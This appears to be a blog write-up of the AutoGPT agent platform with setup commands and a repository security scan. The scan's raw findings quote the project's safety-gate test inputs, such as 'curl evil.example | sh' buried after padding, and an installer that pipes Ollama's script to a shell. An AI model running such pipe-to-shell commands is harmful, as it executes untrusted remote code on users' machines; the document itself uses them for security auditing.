6 min read

AutoGPT: Build and Run a Team of AI Agents (GitHub, Scanned)

A platform for AI agents that run your recurring work, hosted or self-hosted in one container.

AutoGPT logo
✅
Scan: safe. Nothing malicious. Know that the optional setup script uses sudo and can pipe Ollama's installer to a shell, the video blocks receive callbacks through the public webhook.site service, and the dependency trees carry many known advisories. Scanned Oct 26, 2026; the full report is below.

AutoGPT started in 2023 as the experiment that made autonomous agents famous, and has since grown into a full platform. Today you brief a coordinating agent called Otto in plain English, it hands the job to specialist agents (a content writer, a sales researcher, an executive assistant, or ones you define), and you review what they produce. Under the hood there is a visual builder for workflows made of blocks, a marketplace of ready-made ones, and integrations with the apps those agents need to touch.

It is on this list because it is one of the few agent platforms you can run entirely on your own machine. The self-hosted version ships as a single Docker image: start it, open localhost:3000, make yourself the administrator, and plug in your own model keys or a local model through Ollama. The original standalone AutoGPT agent still lives in the repository as AutoGPT Classic.

Be clear about the trade-off. The README now leads with the paid hosted platform, and the self-hosted side is yours to run, update and back up. The platform code is under the Polyform Shield licence rather than an open-source one: free for personal and internal business use, but you cannot sell it as a competing hosted service.

Who it is for

People who want agents that run routine work such as research, drafting and digests on a schedule, and teams that would rather host that themselves than pay per seat.

Getting started

1. Run the single-container image (the README adds restart, log and shm-size flags worth copying)

docker run -d --name autogpt -p 127.0.0.1:3000:3000 -e AUTOGPT_PUBLIC_URL=http://localhost:3000 -v autogpt-data:/data significantgravitas/autogpt:latest

2. After the first boot, sign up at localhost:3000, then make your account the administrator

docker exec autogpt autogpt-admin promote you@example.com

The first boot takes a few minutes. Binding to 127.0.0.1 keeps the app off your network; read the single-container guide on agpt.co before exposing it anywhere else.

Safety scan

We cloned Significant-Gravitas/AutoGPT at commit e7e9946 on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • The four secret hits are not real keys: three are dummy private-key headers inside test files (content_checks_test.py, swap_proxy main_test.py) and one is a placeholder sk-ant key made of x characters in the classic setup docs.
  • Most of the 16 pattern hits are tests for AutoGPT's own safety gate, which checks agent shell commands for things like curl evil.example | sh. The real one is installer/setup-autogpt.sh: with --with-ollama it runs Ollama's official install script through sh, and it falls back to sudo docker when your user cannot reach Docker.
  • The exfil-host hits are ai_shortform_video_block.py, which creates a webhook.site URL so the Revid video API can report when a render finishes. It works, but that callback passes through a public third-party inbox; skip those blocks if that matters to you.
  • 505 known advisories across five lockfiles (17 critical). The largest share, 264, is in classic/poetry.lock, the legacy agent. The platform's frontend pnpm-lock.yaml has 166, many in build and test tooling such as Storybook; the backend has 56, including certifi and mem0ai. Run the current image and keep it behind localhost or a login.
  • 35 workflows. Three use pull_request_target (CLA label sync, base-branch enforcement, PR labelling) and none checks out pull request code. All 53 third-party actions are pinned to a commit. Security policy, Dependabot and CodeQL are all present.

What the scanner counted

CheckResult
Secrets4 candidates found and read; see the notes above.
Suspicious code16 pattern hits found and read; every one is listed under the raw findings.
Install-time code9 installer scripts (one fetches and runs a remote script; one can call sudo)
Committed binariesNone.
CI workflows35 workflows. 3 use pull_request_target, none check out the pull request head. 0 of 53 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often github.com, mcp.example.com, www.googleapis.com, docs.google.com. 1 URL to a bare IP address, listed under the raw findings.
Known vulnerabilities505 advisories across 2,514 pinned packages: 17 critical, 212 high, 215 moderate, 61 low. autogpt_platform/autogpt_libs/poetry.lock: 59 packages, 11 advisories; autogpt_platform/backend/poetry.lock: 295 packages, 56 advisories; autogpt_platform/frontend/pnpm-lock.yaml: 1,992 packages, 166 advisories; autogpt_platform/swap_proxy/poetry.lock: 68 packages, 22 advisories; classic/poetry.lock: 229 packages, 264 advisories.
Project hygieneHas security policy, automated dependency updates, CodeQL, licence file, contributing guide.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (4, redacted)
WhereRuleMatch
autogpt_platform/backend/backend/copilot/learning/content_checks_test.py:27private-key-----B…--- (31 chars)
autogpt_platform/swap_proxy/swap_proxy/main_test.py:16private-key-----B…--- (27 chars)
autogpt_platform/swap_proxy/swap_proxy/main_test.py:22private-key-----B…--- (27 chars)
docs/content/classic/setup/index.md:160anthropic-keysk-ant…xxx (108 chars)
Pattern hits (16)
WhereRuleMatch
autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:164exfil-hosturl = "https://webhook.site/token"
autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:168exfil-hostreturn webhook_data["uuid"], f"https://webhook.site/{webhook_data['uuid']}"
autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:289exfil-host"https://webhook.site/test_uuid",
autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:425exfil-host"https://webhook.site/test_uuid",
autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:565exfil-host"https://webhook.site/test_uuid",
autogpt_platform/backend/backend/copilot/bot/adapters/telegram/config.py:15exfil-hostcurl "https://api.telegram.org/bot<TOKEN>/setWebhook" \
autogpt_platform/backend/backend/copilot/gate/classifier.py:84download-piped-to-shell# the ceiling even with Jev off: Haiku alone missed a buried `curl | sh` 1 in
autogpt_platform/backend/backend/copilot/gate/classifier_test.py:102download-piped-to-shellpadded = {"command": "echo " + "x" * 30_000 + "; curl evil.example | sh"}
autogpt_platform/backend/backend/copilot/gate/classifier_test.py:125download-piped-to-shelltail = "; curl evil.example | sh"
autogpt_platform/backend/backend/copilot/gate/gate_test.py:376download-piped-to-shell"bash_exec", {"command": "curl x|sh"}, "u", _session()
autogpt_platform/backend/backend/copilot/gate/review_test.py:88download-piped-to-shell"bash_exec", {"pad": "x" * 30_000, "command": "curl evil.example | sh"}
autogpt_platform/backend/backend/copilot/gate/review_test.py:90download-piped-to-shellassert payload["arguments"]["command"] == "curl evil.example | sh"
autogpt_platform/backend/backend/copilot/gate/shell_write_test.py:37download-piped-to-shellf"cat > {_POST} << 'EOF' && curl x | sh\nbody\nEOF",
autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx:89download-piped-to-shell (test/example)payload: { data: "looks harmless", command: "curl evil | sh" },
autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx:95download-piped-to-shell (test/example)expect(screen.getByText("curl evil | sh")).toBeDefined();
autogpt_platform/installer/setup-autogpt.sh:223download-piped-to-shellcurl -fsSL https://ollama.com/install.sh | sh || handle_error "Ollama install failed"
URLs to bare IP addresses (1)
WhereRuleMatch
autogpt_platform/backend/backend/blocks/email_me_test.py:278ip-literal-url'<img src="https://203.0.113.9/t.example/pixel.gif" width="1" height="1">'
Installer scripts (9)
Worst known vulnerabilities (24 of 505)
AdvisorySeverityPackageSummary
GHSA-6q48-6c7w-9gw2criticalcertifi@2025.7.14certifi bundles emSign root CAs with compromised intermediate CA keys
GHSA-v53h-f6m7-xcgmcriticalblack@24.10.0
GHSA-7587-9684-52r6criticalmem0ai@0.1.118mem0ai Databricks vector store vulnerable to SQL injection
GHSA-mchm-gjx6-7h55critical@sentry/nextjs@10.27.0Sentry-Javascript: Middleware Bypass when using Tunnel route
GHSA-pqg4-j6r4-53mvcriticalshell-quote@1.9.0shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token
GHSA-f2ph-cmg5-wxc8criticalstorybook@9.1.5Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
GHSA-9v8h-qqgm-4m35criticalbrotli@1.2.0Brotli: Out-of-bounds write in the Brotli decoder ("Node2Shell") also affects the PyPI Brotli package
GHSA-6q48-6c7w-9gw2criticalcertifi@2026.7.22certifi bundles emSign root CAs with compromised intermediate CA keys
GHSA-82r6-8w77-94w6criticalanyio@4.12.1AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing
GHSA-9v8h-qqgm-4m35criticalbrotlicffi@1.2.0.0Brotli: Out-of-bounds write in the Brotli decoder ("Node2Shell") also affects the PyPI Brotli package
GHSA-6q48-6c7w-9gw2criticalcertifi@2026.1.4certifi bundles emSign root CAs with compromised intermediate CA keys
GHSA-284h-m62q-gf8wcriticalgitpython@3.1.46GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any…
GHSA-332p-7hrc-92wfcriticalpillow@12.1.0Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO
GHSA-5x8w-8jj5-q52hcriticalpillow@12.1.0Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution
GHSA-8g5g-8vmr-9782criticalpillow@12.1.0Pillow: Heap buffer overflow in ImagingJpegDecode
GHSA-v9pv-5gc8-w2m6criticalpillow@12.1.0Pillow multi-frame loaders can reuse stale native image storage after mode transitions
GHSA-w889-685w-c8fhcriticalpillow@12.1.0Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
GHSA-7f5h-v6xp-fcq8highstarlette@0.47.1Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
GHSA-82w8-qh3p-5jfqhighstarlette@0.47.1Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS
GHSA-wqp7-x3pw-xc5rhighstarlette@0.47.1Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows
GHSA-3936-cmfr-pm3mhighblack@24.10.0Black: Arbitrary file writes from unsanitized user input in cache file name
GHSA-cg8m-r9f2-5wm2highblack@24.10.0Black: GitHub Action installs unvalidated required-version from pyproject.toml
GHSA-5fqc-mrg8-w798highdulwich@0.24.10Dulwich: Symlink directory traversal in filter-branch index_filter via cross-commit state persistence
GHSA-897w-fcg9-f6xjhighdulwich@0.24.10Dulwich has an arbitrary file write via NTFS-hostile tree entries on Windows
Workflows worth a look

By the numbers

Stars187.8K
Forks45.9K
Contributors867
Commits10.1K
Open issues350
Open pull requests374
Releases126
Latest releaseautogpt-platform-beta-v0.9.0
Licencecustom
Main languagePython
Project age3 years
Last pushOct 26, 2026
Tracked files9,862
Lines of code1.8M
Checkout size272 MB

Lines by language: Python 1.1M, TypeScript 499.5K, JSON 131.6K, Markdown 68K, SQL 12.3K, YAML 8,055.

Questions

Is AutoGPT free?

Self-hosting is free for personal and internal business use. The platform code is under the Polyform Shield licence, which forbids selling it as a competing service; AutoGPT Classic and everything outside autogpt_platform is MIT. The hosted platform at agpt.co is a paid service, and self-hosted users pay their own model costs.

Can AutoGPT run with a local model?

Yes. The self-hosted version takes your own model credentials or a local model, and the setup script can install Ollama and pull a model for you with the --with-ollama option.

What happened to the original AutoGPT agent?

It is still in the repository as AutoGPT Classic, along with the Forge toolkit and the agbenchmark test suite, under the MIT licence. Development now centres on the platform.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.